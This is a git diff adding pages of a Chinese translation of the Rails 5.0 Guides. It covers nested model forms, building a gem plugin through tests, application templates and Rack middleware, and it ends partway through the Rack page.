Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the :address attribute, the fields_for form helper will look for a method on the Person instance named address_attributes=.

1.1 ActiveRecord::Base model

For an ActiveRecord::Base model and association this writer method is commonly defined with the accepts_nested_attributes_for class method:

1.1.1 has_one
+
+class Person < ApplicationRecord
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+
+
+
+
1.1.2 belongs_to
+
+class Person < ApplicationRecord
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+
+
+
+
1.1.3 has_many / has_and_belongs_to_many
+
+class Person < ApplicationRecord
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+
+
+
+

For greater detail on associations see Active Record Associations. +For a complete reference on associations please visit the API documentation for ActiveRecord::Associations::ClassMethods.

1.2 Custom model

As you might have inflected from this explanation, you don't necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:

1.2.1 Single associated object
+
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+
1.2.2 Association collection
+
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+
+
+
+

See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.

2 Views

2.1 Controller code

A nested model form will only be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.

Consider the following typical RESTful controller which will prepare a new Person instance and its address and projects associations before rendering the new template:

+
+class PeopleController < ApplicationController
+  def new
+    @person = Person.new
+    @person.build_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+
+
+
+

Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an after_initialize callback which is a good way to refactor this.

2.2 Form code

Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.

2.2.1 Standard form

Start out with a regular RESTful form:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+
+
+
+

This will generate the following html:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+</form>
+
+
+
+
2.2.2 Nested form for a single associated object

Now add a nested form for the address association:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :address do |af| %>
+    <%= af.text_field :street %>
+  <% end %>
+<% end %>
+
+
+
+

This generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+
+
+
+

Notice that fields_for recognized the address as an association for which a nested model form should be built by the way it has namespaced the name attribute.

When this form is posted the Rails parameter parser will construct a hash like the following:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+
+
+
+

That's it. The controller will simply pass this hash on to the model from the create action. The model will then handle building the address association for you and automatically save it when the parent (person) is saved.

2.2.3 Nested form for a collection of associated objects

The form code for an association collection is pretty similar to that of a single associated object:

+
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :projects do |pf| %>
+    <%= pf.text_field :name %>
+  <% end %>
+<% end %>
+
+
+
+

Which generates:

+
+<form action="http://github.com/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+
+
+
+

As you can see it has generated 2 project name inputs, one for each new project that was built in the controller's new action. Only this time the name attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:

+
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+
+
+
+

You can basically see the projects_attributes hash as an array of attribute hashes, one for each model instance.

The reason that fields_for constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.

You can however pass an array to the writer method generated by accepts_nested_attributes_for if you're using plain Ruby or some other API access. See (TODO) for more info and example.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/plugins.html b/v5.0/plugins.html new file mode 100644 index 0000000..50b60bb --- /dev/null +++ b/v5.0/plugins.html @@ -0,0 +1,680 @@ + + + + + + + +Rails 插件开发简介 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 插件开发简介

Rails 插件是对核心框架的扩展或修改。插件有下述作用:

+
    +
  • 供开发者分享突发奇想,但不破坏稳定的代码基

  • +
  • 碎片式架构,代码自成一体,能按照自己的日程表修正或更新

  • +
  • 核心开发者使用的外延工具,不必把每个新特性都集成到核心框架中

  • +
+

读完本文后,您将学到:

+
    +
  • 如何从零开始创建一个插件

  • +
  • 如何编写插件的代码和测试

  • +
+

本文使用测试驱动开发方式编写一个插件,它具有下述功能:

+
    +
  • 扩展 Ruby 核心类,如 Hash 和 String

  • +
  • 通过传统的 acts_as 插件形式为 ApplicationRecord 添加方法

  • +
  • 说明生成器放在插件的什么位置

  • +
+

本文暂且假设你是热衷观察鸟类的人。你钟爱的鸟是绿啄木鸟(Yaffle),因此你想创建一个插件,供其他开发者分享心得。

本文原文尚未完工!

+ + + +
+
+ +
+
+
+

1 准备

目前,Rails 插件构建成 gem 的形式,叫做 gem 式插件(gemified plugin)。如果愿意,可以通过 RubyGems 和 Bundler 在多个 Rails 应用中共享。

1.1 生成 gem 式插件

Rails 自带一个 rails plugin new 命令,用于创建任何 Rails 扩展的骨架。这个命令还会生成一个虚设的 Rails 应用,用于运行集成测试。请使用下述命令创建这个插件:

+
+$ rails plugin new yaffle
+
+
+
+

如果想查看用法和选项,执行下述命令:

+
+$ rails plugin new --help
+
+
+
+

2 测试新生成的插件

进入插件所在的目录,运行 bundle install 命令,然后使用 bin/test 命令运行生成的一个测试。

你会看到下述输出:

+
+1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

这表明一切都正确生成了,接下来可以添加功能了。

3 扩展核心类

本节说明如何为 String 类添加一个方法,让它在整个 Rails 应用中都可以使用。

这里,我们为 String 添加的方法名为 to_squawk。首先,创建一个测试文件,写入几个断言:

+
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+
+
+
+

然后使用 bin/test 运行测试。这个测试应该失败,因为我们还没实现 to_squawk 方法。

+
+E
+
+Error:
+CoreExtTest#test_to_squawk_prepends_the_word_squawk:
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+
+
+bin/test /path/to/yaffle/test/core_ext_test.rb:4
+
+.
+
+Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
+
+2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+
+
+
+

很好,下面可以开始开发了。

lib/yaffle.rb 文件中添加 require 'yaffle/core_ext'

+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+
+module Yaffle
+end
+
+
+
+

最后,创建 core_ext.rb 文件,添加 to_squawk 方法:

+
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+
+
+
+

为了测试方法的行为是否得当,在插件目录中使用 bin/test 运行单元测试:

+
+2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

为了实测一下,进入 test/dummy 目录,打开控制台:

+
+$ bin/rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+
+
+
+

4 为 Active Record 添加“acts_as”方法

插件经常为模型添加名为 acts_as_something 的方法。这里,我们要编写一个名为 acts_as_yaffle 的方法,为 Active Record 添加 squawk 方法。

首先,创建几个文件:

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+end
+
+
+
+
+
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+
+
+
+
+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # 在这里编写你的代码
+  end
+end
+
+
+
+

4.1 添加一个类方法

这个插件将为模型添加一个名为 last_squawk 的方法。然而,插件的用户可能已经在模型中定义了同名方法,做其他用途使用。这个插件将允许修改插件的名称,为此我们要添加一个名为 yaffle_text_field 的类方法。

首先,为预期行为编写一个失败测试:

+
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+
+
+
+

执行 bin/test 命令,应该看到下述输出:

+
+# Running:
+
+..E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+
+
+Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+

输出表明,我们想测试的模型(Hickwall 和 Wickwall)不存在。为此,可以在 test/dummy 目录中运行下述命令生成:

+
+$ cd test/dummy
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+
+
+
+

然后,进入虚设的应用,迁移数据库,创建所需的数据库表。首先,执行:

+
+$ cd test/dummy
+$ bin/rails db:migrate
+
+
+
+

同时,修改 Hickwall 和 Wickwall 模型,让它们知道自己的行为像绿啄木鸟。

+
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ApplicationRecord
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ApplicationRecord
+  acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+
+
+

再添加定义 acts_as_yaffle 方法的代码:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

然后,回到插件的根目录(cd ../..),使用 bin/test 再次运行测试:

+
+# Running:
+
+.E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+.
+
+Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+
+
+
+

快完工了……接下来实现 acts_as_yaffle 方法,让测试通过:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

再次运行 bin/test,测试应该都能通过:

+
+4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

4.2 添加一个实例方法

这个插件能为任何模型添加调用 acts_as_yaffle 方法的 squawk 方法。squawk 方法的作用很简单,设定数据库中某个字段的值。

首先,为预期行为编写一个失败测试:

+
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+
+
+
+

运行测试,确保最后两个测试的失败消息中有“NoMethodError: undefined method `squawk'”。然后,按照下述方式修改 acts_as_yaffle.rb 文件:

+
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+# test/dummy/app/models/application_record.rb
+
+class ApplicationRecord < ActiveRecord::Base
+  include Yaffle::ActsAsYaffle
+
+  self.abstract_class = true
+end
+
+
+
+

最后再运行一次 bin/test,应该看到:

+
+6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
+
+
+
+

这里使用 write_attribute 写入模型中的字段,这只是插件与模型交互的方式之一,并不总是应该使用它。例如,也可以使用:

+
+
+
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+
+
+
+
+

5 生成器

gem 中可以包含生成器,只需将其放在插件的 lib/generators 目录中。创建生成器的更多信息参见创建及定制 Rails 生成器和模板

6 发布 gem

正在开发的 gem 式插件可以通过 Git 仓库轻易分享。如果想与他人分享这个 Yaffle gem,只需把代码纳入一个 Git 仓库(如 GitHub),然后在想使用它的应用中,在 Gemfile 中添加一行代码:

+
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+
+
+
+

运行 bundle install 之后,应用就可以使用插件提供的功能了。

gem 式插件准备好正式发布之后,可以发布到 RubyGems 网站中。关于这个话题的详细信息,参阅“Creating and Publishing Your First Ruby Gem”一文。

7 RDoc 文档

插件稳定后可以部署了,为了他人使用方便,一定要编写文档!幸好,为插件编写文档并不难。

首先,更新 README 文件,说明插件的用法。要包含以下几个要点:

+
    +
  • 你的名字

  • +
  • 插件用法

  • +
  • 如何把插件的功能添加到应用中(举几个示例,说明常见用例)

  • +
  • 提醒、缺陷或小贴士,这样能节省用户的时间

  • +
+

README 文件写好之后,为开发者将使用的方法添加 rdoc 注释。通常,还要为不在公开 API 中的代码添加 #:nodoc: 注释。

添加好注释之后,进入插件所在的目录,执行:

+
+$ bundle exec rake rdoc
+
+
+
+

8 参考资料

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/profiling.html b/v5.0/profiling.html new file mode 100644 index 0000000..070eb6f --- /dev/null +++ b/v5.0/profiling.html @@ -0,0 +1,238 @@ + + + + + + + +Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+

Rails 应用分析指南

本文介绍 Rails 内置的应用分析(profile)机制。

读完本文后,您将学到:

+
    +
  • Rails 分析术语;

  • +
  • 如何为应用编写基准测试;

  • +
  • 其他基准测试方案和插件。

  • +
+

本文原文尚未完工!

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/rails_application_templates.html b/v5.0/rails_application_templates.html new file mode 100644 index 0000000..22b2018 --- /dev/null +++ b/v5.0/rails_application_templates.html @@ -0,0 +1,479 @@ + + + + + + + +Rails 应用模板 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 应用模板

应用模板是包含 DSL 的 Ruby 文件,作用是为新建的或现有的 Rails 项目添加 gem 和初始化脚本等。

读完本文后,您将学到:

+
    +
  • 如何使用模板生成和定制 Rails 应用;

  • +
  • 如何使用 Rails Templates API 编写可复用的应用模板。

  • +
+ + + + +
+
+ +
+
+
+

1 用法

若想使用模板,调用 Rails 生成器时把模板的位置传给 -m 选项。模板的位置可以是文件路径,也可以是 URL。

+
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+
+
+
+

可以使用 app:template 任务在现有的 Rails 应用中使用模板。模板的位置要通过 LOCATION 环境变量指定。同样,模板的位置可以是文件路径,也可以是 URL。

+
+$ bin/rails app:template LOCATION=~/template.rb
+$ bin/rails app:template LOCATION=http://example.com/template.rb
+
+
+
+

2 Templates API

Rails Templates API 易于理解。下面是一个典型的 Rails 模板:

+
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rails_command("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+
+
+
+

下面各小节简介这个 API 提供的主要方法。

2.1 gem(*args) +

在生成的应用的 Gemfile 中添加指定的 gem 条目。

例如,如果应用依赖 bjnokogiri

+
+gem "bj"
+gem "nokogiri"
+
+
+
+

请注意,这么做不会为你安装 gem,你要执行 bundle install 命令安装。

+
+$ bundle install
+
+
+
+

2.2 gem_group(*names, &block) +

把指定的 gem 条目放在一个分组中。

例如,如果只想在 developmenttest 组中加载 rspec-rails

+
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+
+
+
+

2.3 add_source(source, options={}, &block) +

在生成的应用的 Gemfile 中添加指定的源。

例如,如果想安装 "http://code.whytheluckystiff.net/" 源中的 gem:

+
+add_source "http://code.whytheluckystiff.net/"
+
+
+
+

如果提供块,块中的 gem 条目放在指定的源分组里:

+
+add_source "http://gems.github.com/" do
+  gem "rspec-rails"
+end
+
+
+
+

2.4 environment/application(data=nil, options={}, &block) +

config/application.rb 文件中的 Application 类里添加一行代码。

如果指定了 options[:env],代码添加到 config/environments 目录中对应的文件中。

+
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com/"}', env: 'production'
+
+
+
+

data 参数的位置可以使用块。

2.5 vendor/lib/file/initializer(filename, data = nil, &block) +

在生成的应用的 config/initializers 目录中添加一个初始化脚本。

假设你想使用 Object#not_nil?Object#not_blank? 方法:

+
+initializer 'bloatlol.rb', <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
+
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
+
+
+
+

类似地,lib() 方法在 lib/ directory 目录中创建一个文件,vendor() 方法在 vendor/ 目录中创建一个文件。

此外还有个 file() 方法,它的参数是一个相对于 Rails.root 的路径,用于创建所需的目录和文件:

+
+file 'app/components/foo.rb', <<-CODE
+  class Foo
+  end
+CODE
+
+
+
+

上述代码会创建 app/components 目录,然后在里面创建 foo.rb 文件。

2.6 rakefile(filename, data = nil, &block) +

lib/tasks 目录中创建一个 Rake 文件,写入指定的任务:

+
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+
+
+
+

上述代码会创建 lib/tasks/bootstrap.rake 文件,写入 boot:strap rake 任务。

2.7 generate(what, *args) +

运行指定的 Rails 生成器,并传入指定的参数。

+
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+
+
+
+

2.8 run(command) +

运行任意命令。作用类似于反引号。假如你想删除 README.rdoc 文件:

+
+run "rm README.rdoc"
+
+
+
+

2.9 rails_command(command, options = {}) +

在 Rails 应用中运行指定的任务。假如你想迁移数据库:

+
+rails_command "db:migrate"
+
+
+
+

还可以在不同的 Rails 环境中运行任务:

+
+rails_command "db:migrate", env: 'production'
+
+
+
+

还能以超级用户的身份运行任务:

+
+rails_command "log:clear", sudo: true
+
+
+
+

2.10 route(routing_code) +

config/routes.rb 文件中添加一条路由规则。在前面几节中,我们使用脚手架生成了 Person 资源,还删除了 README.rdoc 文件。现在,把 PeopleController#index 设为应用的首页:

+
+route "root to: 'person#index'"
+
+
+
+

2.11 inside(dir) +

在指定的目录中执行命令。假如你有一份最新版 Rails,想通过符号链接指向 rails 命令,可以这么做:

+
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+
+
+
+

2.12 ask(question) +

ask() 方法获取用户的反馈,供模板使用。假如你想让用户为新添加的库起个响亮的名称:

+
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
+
+
+
+

2.13 yes?(question)no?(question) +

这两个方法用于询问用户问题,然后根据用户的回答决定流程。假如你想在用户同意时才冰封 Rails:

+
+rails_command("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) 的作用正好相反
+
+
+
+

2.14 git(:command) +

在 Rails 模板中可以运行任意 Git 命令:

+
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+
+
+
+

2.15 after_bundle(&block) +

注册一个回调,在安装好 gem 并生成 binstubs 之后执行。可以用来把生成的文件纳入版本控制:

+
+after_bundle do
+  git :init
+  git add: '.'
+  git commit: "-a -m 'Initial commit'"
+end
+
+
+
+

即便传入 --skip-bundle 和(或) --skip-spring 选项,也会执行这个回调。

3 高级用法

应用模板在 Rails::Generators::AppGenerator 实例的上下文中运行,用到了 Thor 提供的 apply 方法。因此,你可以扩展或修改这个实例,满足自己的需求。

例如,覆盖指定模板位置的 source_paths 方法。现在,copy_file 等方法能接受相对于模板位置的相对路径。

+
+def source_paths
+  [File.expand_path(File.dirname(__FILE__))]
+end
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/rails_on_rack.html b/v5.0/rails_on_rack.html new file mode 100644 index 0000000..23befb5 --- /dev/null +++ b/v5.0/rails_on_rack.html @@ -0,0 +1,448 @@ + + + + + + + +Rails on Rack — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails on Rack

本文简介 Rails 与 Rack 的集成,以及与其他 Rack 组件的配合。

读完本文后,您将学到:

+
    +
  • 如何在 Rails 应用中使用 Rack 中间件;

  • +
  • Action Pack 内部的中间件栈;

  • +
  • 如何自定义中间件栈。

  • +
+

本文假定你对 Rack 协议和相关概念有一定了解,例如中间件、URL 映射和 Rack::Builder

+ + + +
+
+ +
+
+
+

1 Rack 简介

Rack 为使用 Ruby 开发的 Web 应用提供最简单的模块化接口,而且适应性强。Rack 使用最简单的方式包装 HTTP 请求和响应,从而抽象了 Web 服务器、Web 框架,以及二者之间的软件(称为中间件)的 API,统一成一个方法调用。

+ +

本文不详尽说明 Rack。如果你不了解 Rack 的基本概念,请参阅 资源

2 Rails on Rack

2.1 Rails 应用的 Rack 对象

Rails.application 是 Rails 应用的主 Rack 应用对象。任何兼容 Rack 的 Web 服务器都应该使用 Rails.application 对象伺服 Rails 应用。

2.2 rails server +

rails server 负责创建 Rack::Server 对象和启动 Web 服务器。

rails server 创建 Rack::Server 实例的方式如下:

+
+Rails::Server.new.tap do |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+end
+
+
+
+

Rails::Server 继承自 Rack::Server,像下面这样调用 Rack::Server#start 方法:

+
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+
+
+
+

2.3 rackup +

如果不想使用 Rails 提供的 rails server 命令,而是使用 rackup,可以把下述代码写入 Rails 应用根目录中的 config.ru 文件里:

+
+# Rails.root/config.ru
+require ::File.expand_path('../config/environment', __FILE__)
+run Rails.application
+
+
+
+

然后使用下述命令启动服务器:

+
+$ rackup config.ru
+
+
+
+

rackup 命令的各个选项可以通过下述命令查看:

+
+$ rackup --help
+
+
+
+

2.4 开发和自动重新加载

中间件只加载一次,不会监视变化。若想让改动生效,必须重启服务器。

3 Action Dispatcher 中间件栈

Action Dispatcher 的内部组件很多都实现为 Rack 中间件。Rails::Application 使用 ActionDispatch::MiddlewareStack 把不同的内部和外部中间件组合在一起,构成完整的 Rails Rack 中间件。

Rails 中的 ActionDispatch::MiddlewareStack 相当于 Rack::Builder,但是为了满足 Rails 的需求,前者更灵活,而且功能更多。

3.1 审查中间件栈

Rails 提供了一个方便的任务,用于查看在用的中间件栈:

+
+$ bin/rails middleware
+
+
+
+

在新生成的 Rails 应用中,上述命令可能会输出下述内容:

+
+use Rack::Sendfile
+use ActionDispatch::Static
+use ActionDispatch::Executor
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run Rails.application.routes
+
+
+
+

这里列出的默认中间件(以及其他一些)在 内部中间件栈概述。

3.2 配置中间件栈

Rails 提供了一个简单的配置接口,config.middleware,用于在 application.rb 或针对环境的配置文件 environments/<environment>.rb 中添加、删除和修改中间件栈。

3.2.1 添加中间件

可以通过下述任意一种方法向中间件栈里添加中间件:

+
    +
  • config.middleware.use(new_middleware, args):在中间件栈的末尾添加一个中间件。

  • +
  • config.middleware.insert_before(existing_middleware, new_middleware, args):在中间件栈里指定现有中间件的前面添加一个中间件。

  • +
  • config.middleware.insert_after(existing_middleware, new_middleware, args):在中间件栈里指定现有中间件的后面添加一个中间件。

  • +
+
+
+# config/application.rb
+
+# 把 Rack::BounceFavicon 放在默认
+config.middleware.use Rack::BounceFavicon
+
+# 在 ActiveRecord::QueryCache 后面添加 Lifo::Cache
+# 把 { page_cache: false } 参数传给 Lifo::Cache.
